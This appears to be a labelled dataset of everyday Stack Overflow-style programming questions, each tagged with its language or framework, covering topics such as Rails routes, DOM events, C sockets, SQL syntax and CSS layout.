polymorphic routes in rails 4.1.4  i have a polymorphic association between posts and postables  right now with projects being my only postables. in my routes  i have:   <pre><code>resources :projects do   ...    member do     resources :posts   end end </code></pre>   i know how to retrieve the right ids from the parameters  and all of my controller specs pass just fine  but when i try to write links in my views  they don t work. running <code>rake routes</code>  i see a little weirdness:   <pre><code>...  post show      /projects/:id/posts/:id(.:format)    posts#edit  ... </code></pre>   and so on for the rest. if i m not mistaken  the path should be  new_project_post   and the first parameter should be <code>:project_id</code>.    now  in my <code>show</code> view for projects  i have the index of posts for that particular project. but the links don t work. lets assume i have a project with an id of 2  and a post for that project with an id of 1.    if i try <code>link_to  edit   edit_post_path(@project  post)</code>  the link comes out as <code>.../projects/1/posts/1/edit</code>  so both <code>:id</code>s get the post s id. if i swap <code>post</code> and <code>@project</code>  both <code>:id</code>s will be the project s id.    if i try passing them as an array  <code>link_to  edit   post_path([post  @project])</code>  the resulting link will be <code>.../projects/1%2f2/posts/1%2f2/edit</code>. <code>%2f</code> is a url-encoded slash character  so i m not sure what the hell rails is trying to do here.    if i try using <code>polymorphic_path([@project  post])</code> for my links  all it does is spit out paths that don t exist: <code>undefined method  project_post_path </code>    i ve tried several other combinations of parameters without success. so if anyone could point me in the right direction  i d be extremely grateful.,ruby-on-rails
url rewriting in asp.net 3.5  i am developing an asp.net 3.5 application.i need to rewrite the url.my current url is     <a href= http://app.evetos.com/areas/userv1/controllers/order1.aspx eventid=jrqlvfoqdys=&amp;status1=true  rel= nofollow >http://app.evetos.com/areas/userv1/controllers/order1.aspx eventid=jrqlvfoqdys=&amp;status1=true</a>     this url will be very long and not user freindly.so i need to reduce this url to following url     <a href= http://app.evetos.com/order/g8oh9whyaka=/true  rel= nofollow >http://app.evetos.com/order/g8oh9whyaka=/true</a>     here querystrings like eventid and status are dynamically generating.so we need to pass these querystrings dynamically.so we can t hardcode these values.    we tried  tag in web.config.but it is not useful.because here we cant pass the dynamic values in web.config.    so please tell me how to do this.is there any application in internet please give me the url.    thanks in advance.,asp.net
javascript creating an onclick event for a dynamic table row  i m having trouble attaching an onclick event to my dynamic table rows.    what i have is here:   <pre><code>function parseorderline(data) {     var obj = json.parse(data);     if (obj.length &gt; 0) {         var tbl = document.createelement( table );         var row = tbl.insertrow(0);         var cell = row.insertcell(0);         cell.innerhtml =  code ;         cell = row.insertcell(1);         cell.innerhtml =  size ;         cell = row.insertcell(2);         cell.innerhtml =  description ;         cell = row.insertcell(3);         cell.innerhtml =  type ;         cell = row.insertcell(4);         cell.innerhtml =  price ;         cell.style.textalign =  right ;         for (var i = 0; i &lt; obj.length; i++) {             row = tbl.insertrow(i + 1);             row.classname =  results_row ;             cell = row.insertcell(0);             cell.innerhtml = obj[i].code;             cell = row.insertcell(1);             cell.innerhtml = obj[i].size;             cell = row.insertcell(2);             cell.innerhtml = obj[i].description;             cell = row.insertcell(3);             cell.innerhtml = obj[i].type;             cell = row.insertcell(4);             cell.innerhtml = parsefloat(obj[i].price).tofixed(2);             cell.style.textalign =  right ;             //row.addeventlistener( click   function(){ alert( listen ); });             row.onclick = (function(){ alert( click ); });         }         return tbl.outerhtml;     }     else { ... </code></pre>   as you can see i have tried both setting the onclick event and adding a listener. neither seem to work.    i m hoping someone can tell me i m just being crazy and have overlooked something obvious.  ;0)    any help appreciated guys.    thanks for reading.    jas,javascript
trying to format a string and it is not working! android/java  here is the xml:    <pre><code>&lt;string name= feature3_intro &gt;you shot %1$d pounds of meat!&lt;/string&gt; </code></pre>   here is the java code:    <pre><code>int numpoundsmeat = 123;   string strmeatformat = getresources().getstring(r.string.feature3_intro);   string strmeatmsg = string.format(strmeatformat  numpoundsmeat);  </code></pre>   all that is appearing is: <code>you shot %1$d pounds of meat!</code>    help     thanks!,android
php - seperate words into different categories   lets say i have a  text document that cannot be changed in any  way and needs to be left as is.    example of what the text document is likely formatted  to  be:   <pre><code>1. what is soup commonly paired with  2. 3. 4. alcohol 5. water 6. bread 7. vegtables 8. 9. 10. </code></pre>   note:    the numbers are not included  but they are used to represent the small spaces in between the  words that are always there.    there is not always a question mark with the question    note 2:    the question may be on 2 lines sometimes and may look like this below   <pre><code>0. what is soup  1. commonly paired with      2.     3.     4. alcohol     5. water     6. bread     7. vegtables     8.     9.     10. </code></pre>   other:    so how exactly do i seperate them  for example into an array     so like $questions[] and $answers[]    <strong>the main problem is that i have nothing to link the questions and answers to: i can t guess the exact line they are on and the question doesn t always have a question mark so there is nothing i can really link it to </strong>,php
capture matched string in ios- matching was done by nspredicate  i have a code to match the regular expression and my string.once i execute the code the result shows that the matching is yes.    can any one help me out in extracting the matched string alone in some other location    this is my code below   <pre><code>    (void)viewdidload      {     nsstring *string = @ @002@[00152-614[4000846555@ ;      nsstring *expression = @ [\-@0]{1}[0-9]{3}[\-@]{1}[\[0]{1}[0-9]{5}[\-0]{1}[0-9]{3 }[\[0]{1} [0-9\-]{7 }[@0]{1} ;      nspredicate *predicate = [nspredicate predicatewithformat:@ self matches %@   expression];      bool match = [predicate evaluatewithobject:string];      if(match) nslog(@ match is yes ) ;      else nslog(@ match is no ) ;    [super viewdidload];   } </code></pre>   thanks in advance    regards    praveenkumar,objective-c
is there a better way to set lots of required properties than sending as parameters in a constructor   i have a class that in order to do it s job needs to have 8 different property values set. i want to make sure that all 8 properties are set before trying to execute a method.  i currently have all the parameters passed in and set via the constructor. is there a better way to do this,c#
how do i define this   i need a definition for a macro-like string in php which would literally be interpreted as this string  but i need is to refer to the line and file where the string is placed rather than my defs.php file...   <pre><code>define ( redirect_from    ( .`____file____`.  line: .`____line____`. ) );  redirectto( login.php  redirect_from); </code></pre>   would result as:   <pre><code>redirected from abc.php line: 59 </code></pre>   hope i was clear. (the redirected from is implemented in the <code>redirectto()</code> function of course)    thanks!,php
how to use jquery with angular without directives   in an angularjs app  is there any way that i can use jquery without directives  directives seem hard to use  and i don t want to go back to the jsf way that every dom related things should be in directives. can i use jquery in the view directly  and how,angularjs
how to check the type name of an object in derived classes   this is my code:   <pre><code>class base { /* something */ }; class derived : public base { /* something */ }; vector&lt;base*&gt; v; // somebody else initializes it  somewhere int counter = 0;  for (vector&lt;base*&gt;::iterator i=v.begin(); i!=v.end(); ++i) {   if (typeof(*i) ==  derived ) { // this line is not correct     counter++;   } } cout &lt;&lt;  found   &lt;&lt; counter &lt;&lt;   derived classes ; </code></pre>   one line in the code is not correct. how should i write it properly  many thanks in advance!,c++
what is the syntax to get records before/after a date with a rails  where  method without sql   what is the syntax to do this without sql    <pre><code>subscription.where( end_date &gt;     date.today) </code></pre>   i ve tried this  but it s obviously incorrect:   <pre><code>subscription.where(:end_date &gt; date.today) </code></pre>   (we are using rails 3) thanks!,ruby-on-rails
how to run a beep every 3 seconds   i trying to run a beep every 3 second on my code.  i wrote this code .. but something is not working - and the beep appear only once and i get a crash    my application is runs with more ui feature so i need to do the beep on different thread.     the code:   <pre><code>private timer _timetimetobeep; private timertask _task; private thread _thread;  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);     toolbar toolbar = (toolbar) findviewbyid(r.id.toolbar);     setsupportactionbar(toolbar);      _displayvalue = (textview)findviewbyid(r.id.displayvalue);      displayvalueupdate();      _timetimetobeep = new timer();      _task = new timertask() {          @override         public void run() {               _thread = new thread(new runnable() {                 @override                 public void run() {                     playsound();                 }             });              _thread.start();         }     };  }    public void playsound(){     final tonegenerator tonegenerator = new tonegenerator(audiomanager.stream_notification  100);     tonegenerator.starttone(tonegenerator.tone_prop_beep); }   // start beep button here  public void startplayclickbtn(view view) throws interruptedexception {     _timetimetobeep.schedule(_task  3000); } </code></pre>,android
js not working on ie   but working of ff and gc  <br> i have this line of code :   <pre><code>document.getelementbyid(object).innerhtml=data; </code></pre>   where <code>object</code> is equal to <code> index </code> (which is an id for a div in the html) and data is some text ... no errors on firefox or chrome   but internet explorer gives me  unknown runtime error  !!! i ll become bald soon ...    data sample : (for some reason   if i remove the <code>&lt;table&gt;</code> everything goes just fine ...)   <pre><code>&lt;table style= width:100%; &gt;                 &lt;tr class= tablepagnation &gt;             &lt;td valign=top colspan= 5 &gt;                 &lt;input type=hidden id= pagnation  value= 1 &gt;                 &lt;label class= disabledlink &gt;çáóçèþ&lt;/label&gt;              &lt;label class= disabledlink &gt;çáçæáì&lt;/label&gt;              &lt;a href= javascript:;  onclick= setpagnation( 1 ); class= pagnation_selected &gt;1&lt;/a&gt;                 &lt;a href= javascript:;  onclick= setpagnation( 2 ); class= pagnation &gt;2&lt;/a&gt;                 &lt;a href= javascript:;  onclick= setpagnation( 3 ); class= pagnation &gt;3&lt;/a&gt;                 &lt;a href= javascript:;  onclick= setpagnation( 4 ); class= pagnation &gt;4&lt;/a&gt;                 &lt;a href= javascript:;  onclick= setpagnation( 5 ); class= pagnation &gt;5&lt;/a&gt;                                 &lt;a href= javascript:;  onclick= setpagnation( 64 ); &gt;çáçîíñé&lt;/a&gt;                &lt;a href= javascript:;  onclick= setpagnation( 2 ); &gt;çáêçáí&lt;/a&gt;          &lt;/td&gt;         &lt;/tr&gt;                 &lt;tr class= heading3 &gt;             &lt;td valign=top style= width:40px; &gt;                 &lt;input type=checkbox onclick= togglecheckboxes( msgbox  this.checked); &gt;                 &lt;a href= javascript:;  onclick= refresh_inbox(); &gt;&lt;img src= images/refresh.png  title= êíïíë &gt;&lt;/a&gt;             &lt;/td&gt;             &lt;td valign=top&gt;                 ãä             &lt;/td&gt;             &lt;td valign=top&gt;                 çáúäæçä             &lt;/td&gt;             &lt;td valign=top&gt;                 çáêçñíî             &lt;/td&gt;             &lt;td valign=top&gt;                 çáúãáíçê             &lt;/td&gt;         &lt;/tr&gt;                     &lt;tr class= gridrow userrecordrow &gt;                 &lt;td valign=top&gt;                     &lt;input type=checkbox id= msgbox  value= 26  name= msgbox &gt;                                                                         &lt;img src= images/msg_read.png &gt;                                                             &lt;/td&gt;                 &lt;td valign=top&gt;                                             &lt;a href= index.php pg=inbox&amp;do=read&amp;id=26 &gt;ñçãí&lt;/a&gt;                                     &lt;/td&gt;                 &lt;td valign=top&gt;                                         te45tef                 &lt;/td&gt;                 &lt;td valign=top&gt;                     10-01-2011 01:21 pm                 &lt;/td&gt;                 &lt;td valign=top&gt;                     &lt;a href= javascript:;  onclick= delete_msg(26); &gt;                         &lt;img src= images/delete.png  title= íðý &gt;                     &lt;/a&gt;                 &lt;/td&gt;             &lt;/tr&gt;                     &lt;tr class= gridrow userrecordrow &gt;                 &lt;td valign=top&gt;                     &lt;input type=checkbox id= msgbox  value= 25  name= msgbox &gt;                                                                         &lt;img src= images/msg_unread.png &gt;                                                             &lt;/td&gt;                 &lt;td valign=top&gt;                                             &lt;a href= index.php pg=inbox&amp;do=read&amp;id=25 &gt;ñçãí&lt;/a&gt;                                     &lt;/td&gt;                 &lt;td valign=top&gt;                                         5tfe54tfe                 &lt;/td&gt;                 &lt;td valign=top&gt;                     10-01-2011 01:20 pm                 &lt;/td&gt;                 &lt;td valign=top&gt;                     &lt;a href= javascript:;  onclick= delete_msg(25); &gt;                         &lt;img src= images/delete.png  title= íðý &gt;                     &lt;/a&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;/table&gt; </code></pre>,javascript
how do i multithread this tcp server/client in c   how do i multithread this tcp server/client in c  please help me multithreading this code so i can use multiple clients at the same time.. how can i apply threads and where      tcp server   <pre><code>#include &lt;stdio.h&gt;    #include &lt;stdlib.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; #include &lt;netinet/in.h&gt; #include &lt;netdb.h&gt; #include &lt;errno.h&gt; #include &lt;signal.h&gt; #include &lt;unistd.h&gt; #include &lt;string.h&gt; //#include &lt;arpa/innet.h&gt; // inet -&gt; innet !error! #include &lt;arpa/inet.h&gt; #include &lt;sys/wait.h&gt;  int main (void) { // declare and define     int ls;                         // listen socket descriptor (reference) int s;                          // socket descriptor (reference) char buffer [256];              // data buffer char* ptr = buffer;             // data buffer int len = 0;                        // number of bytes to send or receive int maxlen = sizeof (buffer);       // maximum number of bytes to receive int n = 0;                      // number of bytes for each recv call int waitsize = 16;                  // size of waiting clients struct sockaddr_in serveraddr;      // server address struct sockaddr_in clientaddr;      // client address //int clntaddrlen;                  // length of client address  struct sockaddr_in servaddr; // !added! int serv_port = 49999; // !added!    // create listen socketd //if (ls = socket (pf_inet  sock_stream  0) &lt; 0); ls = socket (af_inet  sock_stream  0); if (ls &lt; 0) {     perror ( error: listen socket failed! );     exit (1); }  // create local (server) socket address //memset (&amp;servaddr  0  sizeof (servaddr)); memset(&amp;servaddr   0   sizeof(servaddr)); servaddr.sin_family = af_inet; //servaddr.sin_addr.s_addr = htonl (inaddr_any);        // default ip address servaddr.sin_addr.s_addr = inaddr_any;      // default ip address servaddr.sin_port = htons (serv_port);          // default port memset( &amp;( servaddr.sin_zero )   \0   8 );  // bind listen socket to the local socket address //if (bind (ls  &amp;servaddr  sizeof (servaddr)) &lt; 0); if (bind (ls  ( struct sockaddr * ) &amp;servaddr  sizeof (servaddr)) &lt; 0) {     perror ( error: binding failed! );     exit (1); }  // listen to connection requests //if (listen (ls  waitsize) &lt; 0); if (listen (ls  waitsize) &lt; 0) {     perror ( error: listening failed! );     exit (1); }  struct sockaddr_in clntaddr; // !add! socklen_t clntaddrlen = sizeof(clntaddr); // !add! //int clntaddrlen = sizeof(clntaddr); // !add!  // handle the connection for ( ; ; )     // run forever {     printf( for ( ; ; )\n );     // accept connections from client     //if (s = accept (ls  &amp;clntaddr  &amp;clntaddrlen) &lt; 0);     if ((s = accept (ls  (struct sockaddr *)&amp;clntaddr  &amp;clntaddrlen)) &lt; 0)     {         //perror ( error: accepting failed!);         perror ( error: accepting failed! );         exit (1);     }     printf( accept\n );      // data transfer section     if(( n = recv( s  buffer  sizeof( buffer )  0 ) ) &lt;= 0 )     {         perror( recv );     }     else     {         printf( recv %d byte \n   n);     }     /*     while ((n = recv (s  ptr  maxlen  0)) &gt; 0)     {         //ptr + = n;            // move pointer along the buffer         ptr += n;           // move pointer along the buffer         //maxlen - = n;     // adjust maximum number of bytes to receive         maxlen -= n;        // adjust maximum number of bytes to receive         //len + = n;            // update number of bytes received         len += n;           // update number of bytes received     }     */     int datasend=0;     //datasend = send (s  buffer  len  0);      // send back (echo) all bytes received     datasend = send (s  buffer  n  0);      // send back (echo) all bytes received     if(datasend==-1)     {         printf( datasend==-1 \n );         perror( send );     }     else     {         printf( send %d byte \n   datasend);     }      // close the socket     close (s);                                    } // end of for loop  } // end of echo server program </code></pre>   tcp client   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; #include &lt;netinet/in.h&gt; #include &lt;netdb.h&gt; #include &lt;errno.h&gt; #include &lt;signal.h&gt; #include &lt;unistd.h&gt; #include &lt;string.h&gt; //#include &lt;arpa/innet.h&gt; // inet -&gt; innet !error! #include &lt;arpa/inet.h&gt; #include &lt;sys/wait.h&gt;  int main (int argc  char* argv[  ])     // three arguments to be checked later { // declare and define     int s;                      // socket descriptor int  n;                     // number of bytes in each recv call char* servname;             // server name int servport;                   // server port number char* string;                   // string to be echoed int len;                        // length of string to be echoed char buffer [256 + 1];          // buffer char* ptr = buffer;         // pointer to move along the buffer struct sockaddr_in serveraddr;  // server socket address int maxlen = 256; // !add!  // check and set arguments     //if (argc != 3) if (argc != 4) {                                                   printf ( error: three arguments are needed! );                                exit (1); }                   //servname = arg[1]; // !error! servname = argv[1]; //servport = atoi(arg [2]); // !error! servport = atoi(argv[2]); //string = arg [3]; // !error! string = argv[3];  struct sockaddr_in servaddr; // !add!   /*c // create socket //if((s = socket (pf_inet  sock_stream  0) &lt; 0); s = socket(af_inet  sock_stream  0); if(s &lt; 0) {     perror ( error: socket creation failed! );     exit (1); } bd/*  // create remote (server) socket address //memset (&amp;servaddr  0  sizeof(servaddr)); memset (&amp;servaddr   0   sizeof(servaddr)); serveraddr.sin_family = af_inet; inet_pton (af_inet  servname  &amp;serveraddr.sin_addr); // server ip address serveraddr.sin_port = htons (servport);     // server port number */ // create socket if((s = socket(af_inet  sock_stream  0)) &lt; 0) {     printf( \n error : could not create socket \n );     return 1; } /**/ // create remote (server) socket address memset(&amp;servaddr   0   sizeof(servaddr)); servaddr.sin_family = af_inet; servaddr.sin_port = htons(servport);  if(inet_pton(af_inet  argv[1]  &amp;servaddr.sin_addr)&lt;=0) {     printf( \n inet_pton error occured\n );     return 1; }  // connect  to the server if( connect(s  (struct sockaddr *)&amp;servaddr  sizeof(servaddr)) &lt; 0) {     perror ( error: connection failed! );     exit (1); }  // connect  to the server //if (connect (sd  (struct sockaddr*)&amp;servaddr  sizeof(servaddr)) &lt; 0); /*  if (connect (s  (struct sockaddr*)&amp;servaddr  sizeof(servaddr)) &lt; 0) {      perror ( error: connection failed! );     exit (1); } */ printf( connect\n ); int datasend=0; // data transfer section //send (s  string  strlen(string)  0); datasend = send (s  string  strlen(string)  0); //datasend = send (s   123   4  0); if(datasend==-1) {     printf( datasend==-1 \n );     perror( send ); } else {     printf( else \n ); } printf( while \n );  if(( n = recv( s  buffer  sizeof( buffer )  0 ) ) &lt;= 0 ) {     perror( recv ); } else {     printf( recv %d byte \n   n); }  /* while ((n = recv (s  ptr  maxlen  0)) &gt; 0)   {      //ptr + = n;        // move pointer along the buffer     ptr += n;       // move pointer along the buffer     //maxlen - = n; // adjust the maximum number of bytes     maxlen -= n;    // adjust the maximum number of bytes     len += n;       // update the length of string received     printf( while1 \n ); } // end of while loop   */  // print and verify the echoed string //buffer [len] = â’\0â’; buffer [n] =  \0 ; printf ( echoed string received: \n ); fputs (buffer  stdout); printf ( \n );  // close socket close (s);  // stop program exit (0);  } // end of echo client program </code></pre>,c
why const char * and const char [] as function parameter are considered to be equivalent   i know :   <pre><code>const char* foo =  ab ; // ok.there is a  array to pointer  decay const char a[3] =  ab ; // ok. const char a[2] =  ab ; // error.  ab  is const char [3] </code></pre>   then why not also distinguishing it when use <code>const char a[n]</code>  <code>const char *</code> as a function parameter     function declaration <code>void foo(const char *a)</code> and <code>void foo(const char a[3])</code> are considered to be the same. there is no restrictions like <code>const char a[2] =  ab ;</code> when i call <code>foo( abcdefg );</code> the inconsistent(<strong>unsymmetrical</strong>) behavior makes me a little bit curious in the very first moment.,c++
help in converting aa script to c++  i ve this aa script (cheat engine scripting language):   <pre><code>[enable] alloc(newmem 2048) //2kb should be enough label(returnhere) label(exit)  00415e19: jmp newmem  returnhere: newmem: mov [00451104] 0//moves 0 to the clock variable //nop//nops the clock increaser  exit: jmp returnhere  [disable] dealloc(newmem) 00415e19: mov [00451104] eax //alt: db a3 04 11 45 00 </code></pre>   it s working - stopping the game clock. now  i m trying to convert this code to c++. here s what i did so far:   <pre><code>#include &lt;windows.h&gt;  hwnd findicytower() {     return findwindowa(null   icy tower v1.4 ); }  void wpm(hwnd hwnd int address  byte *data  int datasize) {     dword proc_id;     getwindowthreadprocessid(hwnd  &amp;proc_id);      handle hprocess = openprocess(process_all_access  false  proc_id);      if(!hprocess)          return;      writeprocessmemory(hprocess  (lpvoid)address  data  datasize  null);      closehandle(hprocess);  }  void enableclockhack() {     wpm(findicytower()  0x00415e19  {0xc7  0x05  0x04  0x11  0x45  0x00  0x00  0x00  0x00  0x00}  9); }  void disableclockhack() {     wpm(findicytower()  0x00415e19  {0xa3  0x04  0x11  0x45  0x00}  4); } </code></pre>   but it crashes the game  instead of stopping the clock. any ideas return findwindowa(null   icy tower v1.4 );,c++
checkbox behaving as radiobox <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/4697941/jquery-make-checkboxes-act-like-radio-buttons >jquery: make checkboxes act like radio buttons </a>    </blockquote>     hey all     im looking to make some checkboxes act like radio buttons.    for example  i have the following code:   <pre><code>&lt;input type= checkbox  name= xhtml  value= b  /&gt; &lt;input type= checkbox  name= xhtml  value= i  /&gt; &lt;input type= checkbox  name= xhtml  value= a  /&gt; </code></pre>   the problem is that i can select all three of them  i only want to be able to select one out of the 3.    i know its easier to change to radio buttons  but i have to use checkboxes for this project.    cheers,html
toggle dropmenu  i m trying to create a menu with a droplist  using jquery to the onclick toggle for changing the class from  hide  to  show . although i cannot figure it out.    here s what i have:   <pre><code>&lt;style type= text/css &gt;     nav ul li.hide ul {         display: none;     }     nav ul li.show ul {         display: block;     } &lt;/style&gt;  &lt;nav&gt;   &lt;ul&gt;       &lt;li class= hide &gt;home         &lt;ul&gt;           &lt;li&gt;dropdown link&lt;/li&gt;         &lt;/ul&gt;       &lt;/li&gt;  &lt;/ul&gt; &lt;/nav&gt;  &lt;script type= text/javascript &gt;   $(document).ready(function(){       $( li ).toggleclass( hide    show );   }); &lt;/script&gt; </code></pre>,jquery
with out try catch can we redirect to the error page in asp.net   with out writing the try catches can we redirect a page to the error page or how to know the errors in that page,asp.net
weird behaviour with fscanf in c program  i would like to know in below code snippet why <code>fscanf</code> is throwing -1 in the middle of the execution and due to this i am not getting desired output.   <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt; #include&lt;malloc.h&gt;  int main(){     file *fp=null;     char fname[200]  cmd[200];     int i=0 j=0;     system( ls /tmp/*.msg -1rt &gt; /tmp/xyz.txt );     fp=fopen( /tmp/xyz.txt   r+ );     if(fp!=null){         i=fscanf(fp  %s  fname);         while(i!=eof){             sleep(2);             printf( filename is: %s \n  fname);              sprintf(cmd   rm -rf %s; touch /tmp/a_%d_new.msg  fname j++);             system(cmd);             memset(fname  0  200);             memset(cmd 0  200);             system( ls /tmp/*.msg -rt1 &gt; /tmp/xyz.txt );             i=fscanf(fp  %s  fname);// fscanf will return error after some iterations             printf( the i value is:  %d \n  i);         }     }     if(fp!=null)         fclose(fp);     return 0; } </code></pre>   reproducing steps:   <ol> <li>create a /tmp/xyz.txt file (no data)</li> <li>> xyz.txt ( make it empty if any data there)</li> <li>rm -rf *.msg</li> <li>touch a.msg b.msg c.msg d.msg e.msg f.msg</li> </ol>   here i am expecting gracefull exit from while loop . in current scenario it is not happening due to fscanf function.,c
floating elements   text element that runs over many lines followed by date  i ve got problem placing the date in the example right behind the text   <pre><code>&lt;div class= content &gt; &lt;div class= header &gt;     &lt;div class= text &gt;asfd asdf sa f dsafas asfd gfds gds g fdsgfds gdsf fds  s gfds fds g fds ggsfd dsfgfds fds fds fds ds  ds dgsd fgfs g a sf faa a date right after this --&gt; &lt;/div&gt;     &lt;div class= date &gt;12/12/12&lt;/div&gt; &lt;/div&gt; &lt;div class= tt &gt;asdf asd fdsa fdsa sad fdsas  fa fa f fda fda&lt;/div&gt; </code></pre>   ​   <pre><code>.content {  display: block }  .header  .tt {  float: left; }   .header {   width: 100%;              }  .text {  background: red;      }  .date {    background: blue;              } </code></pre>   please see the example:     <a href= http://jsfiddle.net/hpc9p/5/  rel= nofollow >http://jsfiddle.net/hpc9p/5/</a>    i wan t the blue date to follow right after the text  regardless of number of lines,css
transform list in grid  i have this list of images:    <a href= http://thegelu.com/camera/ffffff.php  rel= nofollow >http://thegelu.com/camera/ffffff.php</a>    and i d like the pictures to display as a grid  not like a list. (aka each pictures next to each other)    here s the php code:   <pre><code>&lt; php     $uploadsdirectory =  slides/tail/ ;      if ($handle = opendir($uploadsdirectory)) {         echo  &lt;hr/&gt; ;         echo  official backgrounds ;         echo  &lt;hr/&gt; ;         echo  &lt;div class= bgitem  style= color:white;font-weight:bold &gt;none&lt;/div&gt; ;         $uplo = array();         while (false !== ($file = readdir($handle))) {             array_push($uplo  $file);         }         sort($uplo);         $user = array();         foreach($uplo as $fname) {               if($fname !=  ..  &amp;&amp; $fname !=  . ){                 if(substr($fname 0 1) !=  _ )                     echo  &lt;div class= bgitem &gt;&lt;img src= slides/tail/$fname  height= 30px /&gt;&lt;/div&gt; ;                 else                     array_push($user   $fname );             }                }          echo  &lt;hr/&gt; ;         echo  user uploads : ;         echo  &lt;hr/&gt; ;         foreach($user as $div){             echo $div;             closedir($handle);         }  &gt; </code></pre>   i m a beginner in php so i don t exactly know what to do.    thanks in advance!,php
angular ng-grid filter on only two columns  i want to do an either or kind of query on ng-grid where it searches both columns with the same filter text.    i ve figured out how to filter on a per column basis  but what i would like to do is filter on two columns with the same input.    var searchquery =  college:  + collegetext +  ;  +  curriculumname:  + $scope.filtertext +  department:  + $scope.filtertext +  ; ;    doesn t seem to work. i have to remove either department or curriculumname to get a result. apparently  it thinks it needs to find it in both columns to return a result.,angularjs
javascript declaring variable issue  i am doing somtehing like this   <pre><code>client.selectors = {     var cfg = null;     init:function(config){        ...        cfg = config;        ...     }      close:function(){     } }; </code></pre>   and on the debugger of chrome i got this error :   <pre><code>uncaught syntaxerror: unexpected identifier </code></pre>   i don t know why,javascript
what s wrong with this query   what s wrong with the following sql query    <pre><code>$sql= select * from  .table.  where desgid= $id   weightid= $weightid  and deptid= $deptid   ; </code></pre>   the error message is:   <blockquote>    you have an error in your sql syntax;   check the manual that corresponds to   your mysql server version for the   right syntax to use near     weightid= 12  and deptid= 31   at line   1  </blockquote>,mysql
how to center a paypal button in ie8  on one of my pages  <a href= http://artistsatlaketahoe.com/abstract.html  rel= nofollow noreferrer >http://artistsatlaketahoe.com/abstract.html</a>    the paypal buttons appear centered beneath text in firefox and chrome  but not in ie8. i got the centering to work in ff and chrome by adding the following within the paypal code snippet relating the add to cart image:    style= display: block; margin: 0 auto;      unfortunately  it isn t working in ie8. any suggestions  thanks!!,css
jquery animate function trying to set height and width  hello i have some problems understading the jquery api - especially the animate function: this is described in the api:         <pre><code>$( #clickme ).click(function() {   $( #book ).animate({     width: [ toggle    swing ]      height: [ toggle    swing ]      opacity:  toggle    }  5000   linear   function() {       $(this).after( &lt;div&gt;animation complete.&lt;/div&gt; );   }); });  </code></pre>   now i want to insert a width value of 100% and a height of 100%...but this is not working...can anyone help me out with the syntax    <pre><code>$( #clickme ).click(function() {   $( #book ).animate({     width: 100% [ toggle    swing ]      height: 100%  [ toggle    swing ]      opacity: toggle    }  5000   linear   function() {       $(this).after( &lt;div&gt;animation complete.&lt;/div&gt; );   }); });  </code></pre>   thanks a lot!,jquery
sharre social media plugin style issue  im working on implementing this social medial plugin called sharre: <a href= http://sharrre.com  rel= nofollow >http://sharrre.com</a>    for example 5: <a href= http://sharrre.com/example5.html  rel= nofollow >http://sharrre.com/example5.html</a>    i cant determine how to style these buttons or tracking boxes so that they will fit on my page.  i would like to reduce the width and height for both.    <a href= http://jsfiddle.net/ninjask8ter/uhhwt/  rel= nofollow >http://jsfiddle.net/ninjask8ter/uhhwt/</a>    for example  i have tried to modify the width of the .button which doesnt seem to work:   <pre><code>#example5{ float:left; margin:28px 0 0 10px; }  .sharrre .button{ float:left; width:60px; } </code></pre>   i have also seen in the docs that:   <pre><code>twitter: {  //http://twitter.com/about/resources/tweetbutton url:      //if you need to personalize url button </code></pre>   does this imply that i would need to modify the size of the image,css
breakdown object in java  i have huge object  i have its class of course  i m extracting some values from it  but since it is really big i don t know in which list or where the value i m looking for is.    is there a way to create some kind of object breakdown routing and search every part for the value i m expecting  and it is hidden somewhere in the object  i just can t find it in eclipse its too nested.    i thought of using reflection to go trough all fields of object class and search for the value inside of each field(fields inside lists(list of lists etc)). any other ideas     <strong>unfortunately none of these answers help me  i m starting a bounty</strong>,java
access to path denied when i write and save the file on server <pre><code>system.unauthorizedaccessexception: access to the path  c:\inetpub\wwwroot\healthcard\newstextfiles\news.html  is denied. at system.io.__error.winioerror(int32 errorcode  string maybefullpath)at system.io.filestream.init(string path  filemode mode  fileaccess access  int32 rights  boolean userights  fileshare share  int32 buffersize  fileoptions options  security_attributes secattrs  string msgpath  boolean bfromproxy  boolean uselongpath) at system.io.filestream..ctor(string path  filemode mode  fileaccess access) </code></pre>   i am using ckeditor . edit the file on server and save the file on server. it is not working on server but it is well working on my localmachine.    here is code of edit and save button.   <pre><code>protected void btnsavenews_click(object sender  eventargs e)     {          string str = ckeditor.text;          string str1 = server.htmldecode(str);          //lbltext.text = str2;           filestream fs = new filestream(server.mappath( ~/newstextfiles/news.html )  filemode.create   fileaccess.write);         streamwriter wr = new streamwriter(fs);         wr.write(str1);           wr.dispose();         fs.dispose();          pnleditor.visible = false;         upleditor.update();         upleditor.visible = false;      } </code></pre>,asp.net
to remove or replace double quotes in php in mysql query  i need to remove all double quotes single quotes from string in php mysql query  so i will use <code>replace()</code> in query but no any changes or result.    query below:   <pre><code>$strsql =  select rw.review_channelid rw.review_id rw.create_date rw.rating_overall rw.isold rw.guestreplysent rw.guest_id rw.guest_name replace(rw.review_title  \     ) as review_title rw.channel_id rw.review_type rw.review_method rw.your_view rw.neg_review ch.extranet_url rw.checkout_date rw.review_time ch.channel_code ch.channel_name rw.isposted_facebook rw.isposted_twitter if(rw.review_time = 0000-00-00  create_date review_time) as rtime                        from  .dbtable::reviewmaster.  as rw                        left join  .dbtable::channelmaster.  as ch on rw.channel_id = ch.channel_id                        where prop_code =   .$_session[ admindetails ][ prop_code ].    ; </code></pre>   i want to replace or remove double single quotes in middle of  string in php  <code>replace(rw.review_title  \     )</code> for review_title in mysql query    any body having any idea please help to sort it out. thanks,php
sql length  left  right on new column  hello below is the code (new to sql) . i need to trim  key_2 and create the new column called project_code. how do i use len and left on this new column  project_code . it looks like the code will work only on the original column  key_2    <pre><code> select      key_1      key_2      replace (key_2   &amp;    ) as project_code      field_name      audit_old_value      audit_new_value  from tbadt_audit_trail   case     if     len (project_code) &lt;= 4     then      left (project_code  4) as proj_code     else     right (project_code  2) as proj_phase      end if  where key_1 like  wkschart  and audit_date between  2017-06-13  and  2017-06-14  </code></pre>,sql
